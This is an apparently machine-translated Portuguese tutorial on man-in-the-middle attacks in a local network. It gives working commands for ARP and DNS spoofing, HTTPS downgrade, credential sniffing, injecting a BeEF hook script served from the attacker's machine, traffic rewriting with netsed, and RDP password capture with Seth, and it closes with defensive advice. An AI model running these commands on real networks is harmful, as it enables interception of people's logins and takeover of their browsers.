Interceptar informações confidenciais? Obtenha acesso não autorizado a vários aplicativos e sistemas? Interromper a operação normal? Tudo isso e muito mais realizam ataques como Man in the Middle.
Hoje continuamos a série de artigos dedicados aos ataques do "homem do meio" (e vários outros relacionados) a protocolos e canais de transmissão típicos encontrados em praticamente qualquer empresa. Considere os níveis de interesse muito maior para o invasor: da rede ao aplicativo.
Interessado em? Bem-vindo ao gato.
Lembre-se
Portanto, no artigo anterior, focamos em ataques de falsificação em ambientes com e sem fio, mostrando técnicas para monitorar solicitações e respostas a servidores DNS. O DNS foi escolhido por um motivo - esse é um dos principais objetivos. Porque Tudo é simples - quase qualquer sessão agora começa com uma solicitação do endereço IP do host de destino nos servidores DNS.
Hoje vamos mostrar ataques "ao cobre", mas para o mesmo Wi-Fi praticamente nada muda, exceto algumas nuances. Omitimos a inserção na óptica, pois esse vetor de ataques é muito caro e requer equipamentos especiais.
Para começar, estamos interessados na interceptação "invisível" de consultas DNS.
Usarei alguns dos seguintes utilitários:
DNS2Proxy (o utilitário já existe há muitos anos, mas ainda está pronto para o combate) e
arpspoof (também não é jovem).
Lançamos:
# arpspoof -r 192.168.180.254 192.168.180.1 // IP – , - # python2 dns2proxy.py -u 192.168.180.253 // -u IP-, # iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53
Agora vamos verificar como isso afeta a máquina da vítima, executando nslookup em qualquer domínio:
Bem, a vítima recebe o IP do host exigido pelo invasor, provavelmente o endereço IP local do dispositivo a partir do qual o ataque se desenvolve. A captura de tela também mostra que o cliente acredita que um servidor DNS legítimo responde a ela, o que, é claro, está um pouco errado. De fato, a funcionalidade do utilitário DNS2Proxy é bastante ampla: você pode especificar domínios específicos para falsificação ou, pelo contrário, falsificar tudo, adicionando alguns às exceções.
O que vem a seguir? E então precisamos implantar um servidor Web "proxy" que criará duas conexões: uma é um "proxy" <> um nó legítimo na rede e o segundo é uma vítima de "proxy" <>. Usaremos
SSLsplit .
Lançamos:
# sslsplit –l 2000 # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000
Verificamos o que acontecerá se tentarmos mudar para algum portal automotivo, por exemplo,
drom.ru :
E nós temos uma conexão desprotegida! Mas com a ressalva: wwww e webmy.drom.ru foram adicionados como um subdomínio em vez de my.drom.ru. Vamos tentar fazer login, depois de usar algum utilitário para visualizar o tráfego de trânsito no dispositivo do invasor. Vou usar
net-creds . Vemos o que é exibido no console:
E nós temos um nome de usuário / senha, ótimo!
A questão provavelmente surge: "Qual é a diferença com o artigo anterior?" A diferença é que, sem essas manipulações, é criada uma conexão HTTPS, o que torna quase impossível interceptar contas. Este é o chamado "ataque de downgrade".
Mesmo assim, funcionará mesmo com bancos e outros recursos:
Mas
NÃO vale a pena culpar os bancos que, dessa maneira, o usuário pode ser "invadido". Eles não podem fazer nada aqui, porque o ataque está muito além do perímetro! O banco
NÃO é o culpado! Além disso, todos usam o 2FA, o que reduz um pouco o risco de obter acesso.
Observe: dessa forma, mesmo o HSTS (HTTP Strict Transport Security) é ignorado, mas não para todos os recursos (que, eu acho, todos ou quase todos aqui já sabem). Vários navegadores mantêm uma lista de domínios com os quais a conexão via TLS é necessária, e esse ataque contra eles é impotente. O exemplo mais simples é
google.com , e a lista completa do Chromium está
aqui . O Firefox e o Chrome / Chromium não criarão uma conexão HTTP com ele, protegendo o usuário. No entanto, se um invasor conseguir adicionar de alguma forma o certificado autoassinado "dele" a CAs raiz confiáveis ou, pior ainda, confiáveis, nada ajudará, simplesmente porque o navegador e o sistema inicialmente os consideram completamente legítimos e não produzem erros. durante o seu processamento. O caso das CAs raiz confiáveis é especial: isso permitirá que você gere um certificado para cada domínio em movimento (é assim que o DLP e outras ferramentas de proteção que analisam o tráfego geralmente funcionam), que permite analisar qualquer conexão HTTPS sem problemas e notificações do navegador.
Todas as ferramentas listadas acima já estão desatualizadas, pois usam o Python2, cujo suporte será interrompido em breve. Você pode usar qualquer analógico, por exemplo,
bettercap , que é um "harvester" de várias ferramentas e executa todas as mesmas funções listadas acima, além de várias outras. O único comentário sobre o trabalho dele: as versões mais recentes não querem "resolver" todos os domínios por padrão, é necessário especificar domínios específicos. No entanto, para ataques "reais", isso é suficiente para os olhos e até ajuda a não abrir com antecedência.
O que mais o MitM permite? Importe JS, também conhecido como XSS. E então um amplo escopo para a criatividade. Vamos começar a usar bettercap e
beef :
No bettercap incluem:
# set arp.spoof.targets 192.168.180.254 # arp.spoof on # set http.proxy.sslstrip true # set http.proxy.injectjs http://192.168.180.253:3000/hook.js # http.proxy on
Se queremos ser implementados nas páginas HTTPS, também configuramos o dns.proxy. Como parte da demonstração, gerenciarei apenas HTTP.
Vá para
diary.ru e observe o seguinte no depurador:
Vamos ver como estão as coisas na interface da Web da carne de bovino:
Na verdade, terminamos, estamos "no navegador". 2 sessões foram criadas, provavelmente devido ao fato de eu ter aberto outra página em segundo plano, mas isso não é um problema. Agora você pode começar a
criar uma confusão para coletar informações, desenvolver um ataque, em alguns casos abrir um shell ou simplesmente o meu. Parte da funcionalidade possível é apresentada na captura de tela na tabela "Árvore de módulos". Para o teste, execute o recebimento da impressão digital do navegador:
No entanto, os desenvolvedores de navegadores não são estúpidos e tentam encobrir vários "buracos" que permitem o acesso com o clique de um dedo. Por outro lado, esse acesso pode facilitar muito a consolidação no host atacado.
Vamos seguir para o ataque mais recente de hoje - falsificação de dados. Em geral, esse ataque se baseia em um artigo separado, ele pode ser usado mesmo ao transferir imagens de máquinas virtuais para obter acesso (talvez um dia eu revele esse tópico com mais detalhes), mas agora faremos uma breve demonstração, por exemplo, no site
pasted.co - o recurso mais simples, permitindo algum tempo para fornecer acesso a qualquer informação textual. Para ataque, usamos
netsed .
Lançamos:
# netsed tcp 4000 0 0 s/Hello/HACKED/o # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000 # arpspoof -r 192.168.180.254 192.168.180.1
No nó atacado, vá para pasted.co, escreva nosso 'Olá', envie-o, obtenha um link, abra-o e veja nosso 'HACKED'. Um exemplo é simples, mas, penso, imaginar que, em princípio, é possível implementar um ataque como esse não é difícil.
Algumas palavras sobre RDP e MitM
Existe um utilitário tão interessante chamado
Seth e, de fato, é um monte de aprspoof e sslstrip, mas para o RDP. A linha inferior é simples: ao acessar a porta 3389, o Seth age de maneira semelhante ao sslstrip e cria sua própria conexão com o nó de destino. O usuário insere credenciais ... e você pode terminar aí.
Lançamos:
# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1
Começamos no cliente RDP, conectamos a qualquer host RDP (eu conectei ao servidor fora da rede 192.168.180.0/24) e entramos na conta. Pessoalmente, após esse estágio, eu sempre pegava um erro, embora o utilitário deveria fazer proxy da conexão, mas fez a parte mais importante do trabalho:
O retângulo destacado tinha uma senha limpa.
Nos defender
- Use todas as medidas indicadas em nosso artigo anterior . Isso realmente ajuda! Eu adicionarei separadamente a inclusão de espionagem DHCP, que nos permitirá filtrar servidores DHCP ilegítimos, o que pode fazer com que o cliente envie todas as solicitações ao host do invasor, evitando a falsificação de arp.
- Se possível, use extensões como HTTPS em qualquer lugar. Ele será redirecionado automaticamente para a versão https do site se ele estiver incluído em seu banco de dados, o que evita o downgrade de HTTPS.
- Para o DNS, você pode usar o DNS sobre TLS / DNS sobre HTTPS ou DNSCrypt. As ferramentas não são perfeitas, o suporte pode ser bastante doloroso, mas em alguns casos, essa é uma boa medida de proteção.
- Aprenda e ensine familiares, amigos e colegas a prestar atenção na barra de endereços: é importante! wwww.drom.ru, as notificações sobre uma conexão desprotegida em um recurso anteriormente "livre de problemas" costumam ser um sinal claro de algum tipo de anomalia na rede.
Preste atenção às anomalias nas sessões RDP: um certificado alterado inesperadamente é um mau sinal.
Por enquanto é tudo. Ou não? Amigos, gostaria de saber de você, mas você está interessado no ataque ao hipervisor e na migração de máquinas? Ou uma injeção nos arquivos PE? À espera de seus comentários e perguntas!